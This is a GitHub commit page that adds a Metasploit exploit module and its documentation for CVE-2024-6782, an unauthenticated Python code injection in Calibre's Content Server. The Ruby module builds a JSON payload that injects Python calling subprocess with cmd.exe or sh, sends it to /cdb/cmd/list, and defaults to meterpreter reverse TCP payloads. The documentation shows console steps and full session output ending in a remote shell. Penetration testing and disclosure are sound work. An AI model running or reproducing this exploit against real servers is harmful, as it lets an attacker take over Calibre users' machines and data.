-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19357, Calibre Python Code Injection (CVE-2024-6782)
Merge branch 'land-19357' into upstream-master
- Loading branch information
Showing
2 changed files
with
253 additions
and
0 deletions.
There are no files selected for viewing
108 changes: 108 additions & 0 deletions
108
documentation/modules/exploit/multi/misc/calibre_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
## Vulnerable Application | ||
|
||
**Vulnerability Description** | ||
|
||
This module exploits a vulnerability in Calibre <= v6.9.0 - v7.15.0 (CVE-2024-6782). | ||
|
||
An unauthenticated remote attacker can exploit this vulnerability to gain arbitrary code execution in the context of which Calibre is being | ||
executed. | ||
|
||
All versions between v6.9.0 - v7.15.0 are affected. STAR Labs published [an advisory](https://starlabs.sg/advisories/24/24-6782/) that | ||
includes the root cause analysis and a proof-of-concept. | ||
|
||
**Vulnerable Application Installation** | ||
|
||
Calibre can be downloaded from [here](https://download.calibre-ebook.com/). | ||
|
||
**Successfully tested on** | ||
|
||
Windows: | ||
- Calibre v7.15 on Windows 10 22H2 | ||
- Calibre v7.14 on Windows 10 22H2 | ||
- Calibre v7.0 on Windows 10 22H2 | ||
- Calibre v6.29 on Windows 10 22H2 | ||
- Calibre v6.9 on Windows 10 22H2 | ||
|
||
Linux: | ||
- Calibre v7.15 on Ubuntu 24.04 LTS | ||
- Calibre v7.14 on Ubuntu 24.04 LTS | ||
- Calibre v7.0 on Ubuntu 24.04 LTS | ||
- Calibre v6.29 on Ubuntu 24.04 LTS | ||
- Calibre v6.9 on Ubuntu 24.04 LTS | ||
|
||
## Verification Steps | ||
|
||
1. Install Calibre | ||
2. Start Calibre and click Connect/share > Start Content server | ||
3. Start `msfconsole` and run the following commands: | ||
|
||
``` | ||
msf6 > use exploit/multi/misc/calibre_exec | ||
[*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/misc/calibre_exec) > set RHOSTS <IP> | ||
msf6 exploit(multi/misc/calibre_exec) > set LHOST <IP> | ||
msf6 exploit(multi/misc/calibre_exec) > exploit | ||
``` | ||
|
||
You should get a meterpreter session running in the same context as the Calibre application. | ||
|
||
## Scenarios | ||
|
||
**Windows** | ||
|
||
Running the exploit against Calibre v7.14 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the | ||
following: | ||
|
||
``` | ||
msf6 exploit(multi/misc/calibre_exec) > exploit | ||
[*] Started reverse TCP handler on 192.168.137.190:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[*] Sending payload... | ||
[*] Sending stage (201798 bytes) to 192.168.137.194 | ||
[*] Meterpreter session 1 opened (192.168.137.190:4444 -> 192.168.137.194:50346) at 2024-08-01 23:28:16 -0400 | ||
[*] Exploit finished, check thy shell. | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-foo | ||
OS : Windows 10 (10.0 Build 19045). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > shell | ||
Process 6084 created. | ||
Channel 1 created. | ||
Microsoft Windows [Version 10.0.19045.4529] | ||
(c) Microsoft Corporation. All rights reserved. | ||
C:\Program Files\Calibre2>whoami | ||
whoami | ||
desktop-foo\admin | ||
``` | ||
|
||
**Linux** | ||
|
||
Running the exploit against Calibre v7.14 on Ubuntu 24.04 LTS, using cmd/unix/python/meterpreter/reverse_tcp as a payload, should result in | ||
an output similar to the following: | ||
|
||
``` | ||
msf6 exploit(multi/misc/calibre_exec) > exploit | ||
[ *] Started reverse TCP handler on 192.168.137.190:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[*] Sending payload... | ||
[*] Sending stage (24772 bytes) to 192.168.137.195 | ||
[*] Meterpreter session 2 opened (192.168.137.190:4444 -> 192.168.137.195:52376) at 2024-08-01 23:40:16 -0400 | ||
meterpreter > sysinfo | ||
Computer : asdfvm | ||
OS : Linux 6.8.0-39-generic #39-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 21:49:14 UTC 2024 | ||
Architecture : x64 | ||
System Language : en_US | ||
Meterpreter : python/linux | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,145 @@ | ||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Calibre Python Code Injection (CVE-2024-6782)', | ||
'Description' => %q{ | ||
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Amos Ng', # Discovery & PoC | ||
'Michael Heinzl', # MSF exploit | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'], | ||
[ 'CVE', '2024-6782'] | ||
], | ||
'DisclosureDate' => '2024-07-31', | ||
'Platform' => ['win', 'linux', 'unix'], | ||
'Arch' => [ ARCH_CMD ], | ||
|
||
'Payload' => { | ||
'BadChars' => '\\' | ||
}, | ||
|
||
'Targets' => [ | ||
[ | ||
'Windows_Fetch', | ||
{ | ||
'Arch' => [ ARCH_CMD ], | ||
'Platform' => 'win', | ||
'DefaultOptions' => { | ||
'FETCH_COMMAND' => 'CURL', | ||
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' | ||
}, | ||
'Type' => :win_fetch | ||
} | ||
], | ||
[ | ||
'Linux Command', | ||
{ | ||
'Platform' => [ 'unix', 'linux' ], | ||
'Arch' => ARCH_CMD, | ||
'Type' => :nix_cmd, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' | ||
} | ||
} | ||
], | ||
|
||
], | ||
'DefaultTarget' => 0, | ||
|
||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(8080) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
begin | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path) | ||
}) | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError | ||
return CheckCode::Unknown | ||
end | ||
|
||
if res && res.code == 200 | ||
data = res.body.to_s | ||
pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/ | ||
|
||
version = data.match(pattern) | ||
|
||
if version[1].nil? | ||
return CheckCode::Unknown | ||
else | ||
vprint_status('Version retrieved: ' + version[1].to_s) | ||
end | ||
|
||
if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0')) | ||
return CheckCode::Appears | ||
else | ||
return CheckCode::Safe | ||
end | ||
else | ||
return CheckCode::Unknown | ||
end | ||
end | ||
|
||
def exploit | ||
execute_command(payload.encoded) | ||
end | ||
|
||
def execute_command(cmd) | ||
print_status('Sending payload...') | ||
exec_calibre(cmd) | ||
print_status('Exploit finished, check thy shell.') | ||
end | ||
|
||
def exec_calibre(cmd) | ||
payload = '['\ | ||
'["template"], '\ | ||
'"", '\ | ||
'"", '\ | ||
'"", '\ | ||
'1,'\ | ||
'"python:def evaluate(a, b):\\n '\ | ||
'import subprocess\\n '\ | ||
'try:\\n '\ | ||
"return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\ | ||
'except Exception:\\n '\ | ||
"return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\ | ||
']' | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'data' => payload, | ||
'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list') | ||
}) | ||
|
||
if res && res.code == 200 | ||
print_good('Command successfully executed, check your shell.') | ||
elsif res && res.code == 400 | ||
fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.') | ||
end | ||
end | ||
|
||
end |